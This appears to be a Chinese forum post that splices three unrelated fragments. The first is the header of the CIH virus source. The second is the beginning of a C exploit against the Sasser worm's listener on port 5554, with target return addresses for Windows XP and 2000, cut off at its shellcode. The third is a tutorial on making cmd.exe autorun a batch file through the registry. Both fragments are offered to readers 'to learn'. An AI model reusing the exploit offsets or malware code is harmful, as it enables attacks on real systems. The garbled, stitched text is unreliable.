鹰派联盟电子书上淘来的，大家来学习下！！
;****************************************************************
; * The Virus Program Information *
; ***************************************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *
; * *
: *=======================================================*
: * Modification History *
; *=======================================================*

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port 5554
struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },
{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;
unsigned char bsh[]={

       最近 重新巩固 perl 翻出以前初学的代码 改了一下 配套 让win 的cmd 使用 linux 的方法 给cmd 的使用 加上 口令验证 呵呵
下面的这个是 设置在运行cmd.exe 的时候 自动执行 linux.bat 的 方法:
打开注册表编辑器，
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
将"AutoRun"="linux.bat"

接着就是 linux.bat的内容了
@echo off
@titel 需要口令的cmd.exe
@color c
@prompt [fire@火焰linux $p]
@doskey pwd=cd $*
@doskey mkdir=md $*
@doskey rmdir=rd $*
@doskey mv=move $*
@doskey clear=cls
@doskey uname=ver
@doskey cp=copy
@D:\perl\bin\perl D:\perl\hello1.pl
rem 上面的 是 执行 我编辑的 perl的 代码的 命令行 个人的路径有所不同 请根据自己的情况而定
@D:\perl\1.vbs
rem 这个是 一个 vbs 脚本 执行一个弹出窗口的

@cls
@echo 欢迎来到"火焰" 系统
然后就是 要安装的 一个工具 就是 上面 要运行的 perl 代码的工具 ActivePerl
这个程序 是用来 运行 perl 代码的


好 现在来 写perl代码